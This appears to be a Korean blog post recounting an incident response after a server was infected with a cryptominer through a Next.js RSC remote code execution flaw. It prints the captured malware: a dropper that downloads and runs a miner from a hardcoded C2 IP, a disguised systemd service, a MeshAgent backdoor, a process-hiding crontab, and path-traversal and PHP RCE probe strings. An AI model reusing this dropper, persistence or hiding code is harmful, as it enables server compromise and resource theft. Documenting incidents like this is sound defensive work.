서버가 해킹당하다. 크립토마이너 대응기

React2Shell. Next.js RSC(React Server Components) RCE 취약점으로 인한 침입 및 감염 대응기

·약 5분·조회 780·수정일: 2026년 10월 5일
신나는 불금 저녁. 클라우드 업체로부터 연락이 왔다. 
"서버에서 중국IP로 대량의 아웃바운드 트래픽이 발생하고 있다." 
놀란 마음에 ssh접속을 하자 CPU 사용률은 100%을 유지하고 있었다.
신나는 불금 저녁. 클라우드 업체로부터 연락이 왔다. 
"서버에서 중국IP로 대량의 아웃바운드 트래픽이 발생하고 있다." 
놀란 마음에 ssh접속을 하자 CPU 사용률은 100%을 유지하고 있었다.

사건의 시작

이상 징후 발견

2025년 12월 5일 금요일밤.. 이용하고있던 클라우드 기술지원팀에서 연락이 왔다.
중국 IP로 대량의 아웃바운드 트래픽이 발생하고 있다.
불안한 마음과 함께 SSH 접속 후 top 명령어를 치는 순간..

PID     USER  PR NI  VIRT   RES   SHR S %CPU %MEM  COMMAND
2096450 root  20  0  7820  1368  1168 R 93.3  0.0  strings
PID     USER  PR NI  VIRT   RES   SHR S %CPU %MEM  COMMAND
2096450 root  20  0  7820  1368  1168 R 93.3  0.0  strings

strings..? CPU를 93%를 잡아먹고 있는게 아닌가.. 게다가 해당 프로세스를 kill 했음에도 pid를 바꿔가며 계속 살아나고 있었다.

1차 대응: 프로세스 파악

악성코드 구조 파악

pstree로 프로세스 트리를 추적하니 구조가 보이기 시작했다.

systemd,1
  └─sh,882056 /dev/health.sh
      ├─grep,2110109 -q xmrig
      └─strings,2110108 /proc/2497/exe
systemd,1
  └─sh,882056 /dev/health.sh
      ├─grep,2110109 -q xmrig
      └─strings,2110108 /proc/2497/exe

/dev/health.sh 라는 스크립트가 5개 인스턴스로 돌아가고 있었다. 내가 만든 적 없는 스크립트.. 내용을 살펴보기로 했다.

while true; do
    for proc_dir in /proc/[0-9]*; do
        pid=${proc_dir##*/}
        if strings "/proc/$pid/exe" 2>/dev/null | grep -q xmrig; then
            kill -9 "$pid"
            continue
        fi
        result=$(ls -l "/proc/$pid/exe" 2>/dev/null)
        case "$result" in
            *"(deleted)"* | *"xmrig"* | *"watcher"* | *"/tmp/a"* | *"softirq"* | *"rondo"*)
                kill -9 "$pid"
                ;;
        esac
    done
    sleep 45
done
while true; do
    for proc_dir in /proc/[0-9]*; do
        pid=${proc_dir##*/}
        if strings "/proc/$pid/exe" 2>/dev/null | grep -q xmrig; then
            kill -9 "$pid"
            continue
        fi
        result=$(ls -l "/proc/$pid/exe" 2>/dev/null)
        case "$result" in
            *"(deleted)"* | *"xmrig"* | *"watcher"* | *"/tmp/a"* | *"softirq"* | *"rondo"*)
                kill -9 "$pid"
                ;;
        esac
    done
    sleep 45
done

45초마다 프로세스를 스캔해서 xmrig, watcher, softirq채굴기들을 kill하고 있는게 아닌가?

하지만 진짜 핵심은 /dev/shm/bts 에 있었다..

#!/bin/bash
pkill -9 xmrig

P="fghgf"
R="/dev"
if ! pgrep $P > /dev/null; then
  busybox wget http://193.34.213.150/nuts/x -O->/tmp/$P;
  busybox wget http://193.34.213.150/nuts/lc -O->/tmp/config.json;
  chmod 777 /tmp/$P;
  /tmp/$P -c /tmp/config.json -B &
fi

if ! pgrep "health.sh"; then
    cat <<'EOF' > "${R}/health.sh"
    # ... health.sh 내용 자동 생성 ...
    chmod 777 "${R}/health.sh"
    ${R}/health.sh &
fi

echo MEOWWWWWWWWW
#!/bin/bash
pkill -9 xmrig

P="fghgf"
R="/dev"
if ! pgrep $P > /dev/null; then
  busybox wget http://193.34.213.150/nuts/x -O->/tmp/$P;
  busybox wget http://193.34.213.150/nuts/lc -O->/tmp/config.json;
  chmod 777 /tmp/$P;
  /tmp/$P -c /tmp/config.json -B &
fi

if ! pgrep "health.sh"; then
    cat <<'EOF' > "${R}/health.sh"
    # ... health.sh 내용 자동 생성 ...
    chmod 777 "${R}/health.sh"
    ${R}/health.sh &
fi

echo MEOWWWWWWWWW

내용을 보아하니,, 아마 동작 순서는 다음과 같아보인다.
1. 경쟁 채굴기? (xmrig) kill
2. C2서버(193.34.213.150) 에서 채굴 바이너리파일과 설정파일 다운로드
3. 백그라운드 실행
4.아까 위의 health.sh를 자동재생성.

마지막 echo MEOWWWWW로 한번 긁어주기..

1차 제거

# 악성 프로세스 전부 kill
pkill -9 -f "health.sh"
pkill -9 -f "fghgf"

# 악성 파일 삭제
rm -f /dev/health.sh /dev/shm/bts /tmp/fghgf /tmp/config.json

# C2 서버 차단
ufw deny out to 193.34.213.150
ufw deny in from 193.34.213.150

# iwinv 방화벽에서 중국 전체 접근 차단
# 악성 프로세스 전부 kill
pkill -9 -f "health.sh"
pkill -9 -f "fghgf"

# 악성 파일 삭제
rm -f /dev/health.sh /dev/shm/bts /tmp/fghgf /tmp/config.json

# C2 서버 차단
ufw deny out to 193.34.213.150
ufw deny in from 193.34.213.150

# iwinv 방화벽에서 중국 전체 접근 차단

CPU가 정상으로 돌아왔고, 이렇게 끝난줄 알았다.
하지만 이게 실수였다..

2차 감염.. 돌아온 채굴기

10시간 만에 재감염

다음날 오전 10시, 다시 CPU 200%..

PID     USER  PR NI  VIRT    RES    SHR S %CPU  COMMAND
2313800 root  20  0  ...     ...    ... R 200.0 p9gzSA
PID     USER  PR NI  VIRT    RES    SHR S %CPU  COMMAND
2313800 root  20  0  ...     ...    ... R 200.0 p9gzSA

이번엔 p9gzSA 라는 이름이었다.. 주소지도 전날과는 달랐다.

/root/aO7j/p9gzSA -o www.digitaloceana.top:80 --tls
/root/aO7j/p9gzSA -o www.digitaloceana.top:80 --tls

제대로 파고들기

1차 대응 때에는 눈에 보이는 것만 지웠지만, 이번엔 제대로 확인해보기로 했다.
systemd 위장 서비스를 발견..

$ cat /usr/lib/systemd/system/systemd-agent.service

[Unit]
Description=System Daemon
Wants=network-online.target
After=network-online.target

[Service]
ExecStart=/bin/systemd-daemon --user
Restart=always
User=root

[Install]
WantedBy=multi-user.target
$ cat /usr/lib/systemd/system/systemd-agent.service

[Unit]
Description=System Daemon
Wants=network-online.target
After=network-online.target

[Service]
ExecStart=/bin/systemd-daemon --user
Restart=always
User=root

[Install]
WantedBy=multi-user.target

시스템 기본서비스인양 그럴싸한 이름과 설명을 달고 숨어있는 systemd 서비스를 찾아냈다. 이름에 systemd가 들어가있어서 눈에 띄지 않았다.

해당내용을 분석해보니, C2서버 IP 4개가 하드코딩으로 들어있었다.

185.247.224.41
87.98.162.88
82.221.103.244
67.215.246.10
185.247.224.41
87.98.162.88
82.221.103.244
67.215.246.10

MeshAgent 원격 관리도구까지 발견.

$ ls /usr/local/mesh_services/meshagent/
meshagent
$ ls /usr/local/mesh_services/meshagent/
meshagent

MeshCentral 에이전트가 설치되어 있었다.

MeshServer: wss://72.62.67.33:443/agent.ashx
MeshName: all_notcloud
MeshServer: wss://72.62.67.33:443/agent.ashx
MeshName: all_notcloud

crontab 까지 마음대로 수정해두었다.

* * * * * pgrep -f meshagent | while read pid; do \
    mountpoint -q /proc/$pid || mount -o bind /tmp/empty /proc/$pid 2>/dev/null; \
done
* * * * * pgrep -f meshagent | while read pid; do \
    mountpoint -q /proc/$pid || mount -o bind /tmp/empty /proc/$pid 2>/dev/null; \
done

단순히 해킹을 하고, 채굴용으로 사용한것뿐 아니라, 대응을 하기 쉽지않게끔 아주 많은 방법으로 지속성 메커니즘을 심어두었다.

침입 경로 추적

사실 1차때 바로 눈에 보이는것만 삭제할게 아니라, 어떻게 들어온거지? 를 고민했어야했다.
이번에는 제대로 취약점을 찾기로 했다.
auth.log에 외부 IP 접속 기록이 없었고.. 웹 서버 액세스 로그를 시간순으로 천천히 뒤져보았다.

11월말부터 정찰을 시도했고,, 12월 2일부터 본격적으로 공격이 시작되었음을 알 수 있었다.
중국 IP로부터 RCE 를 시도한 흔적이 있었고, 12월 5일 2차 RCE 시도 후
12월 6일 대규모 스캔이 있었다. 1분만에 수십여가지 RCE 벡터를 시도하는 무차별 공격을 확인할 수 있었다.

/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh    # Path Traversal
php://input                              # PHP RCE
eval-stdin.php                           # PHPUnit RCE
call_user_func_array                     # ThinkPHP RCE
pearcmd&+config-create                   # PEARCMD RCE
/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh    # Path Traversal
php://input                              # PHP RCE
eval-stdin.php                           # PHPUnit RCE
call_user_func_array                     # ThinkPHP RCE
pearcmd&+config-create                   # PEARCMD RCE

범인을 찾다. Next.js RSC 취약점

진짜 침입 경로는 따로있었다. 해당 서버에서 돌리고 있던 Next.js 프로젝트였다.
액세스 로그에 Next.js RSC(React Server Components) 엔드포인트로의 대량 POST 요청이 찍혀있었다.

POST /_next/flight
POST /_react/flight
POST /_next/server-actions
POST /_next/flight
POST /_react/flight
POST /_next/server-actions

Next.js RSC 직렬화 취약점을 통한 원격 코드 실행(RCE). 1차 대응때 눈에보이는 채굴기만 지우고. 취약점이 그대로있는 Next.js 앱을 그대로 둔 것이 재감염의 원인이었다.

해당 취약점이 개선된 보안 패치 및 업데이트를 진행하고, 현재는 해당 서버는 삭제하고 새 서버로 이전 및 마이그레이션을 한 상황이다. 차마 발견하지 못한 잠복요소가 있을 수 있으니..

마치며

증상이 아니라, 원인을 잡아야한다. 1차 대응때 가장 큰 실수는 cpu가 정상으로 돌아 왔으니 끝이라고 생각한 것이다.

공격자는 여러 겹의 지속가능요소를 심어둔다. 하나만 찾는다고 끝난게 아닌, 시스템 전체를 뒤져봐야 한다.

금요일 밤부터 토요일 오후까지 약 15시간에 걸친 대응이었다.
앞으로는 보안이슈를 지속적으로 확인하고, 시스템 내에 취약점이 있진 않은지 점검 및 업데이트에 신경을 써야겠다.

공유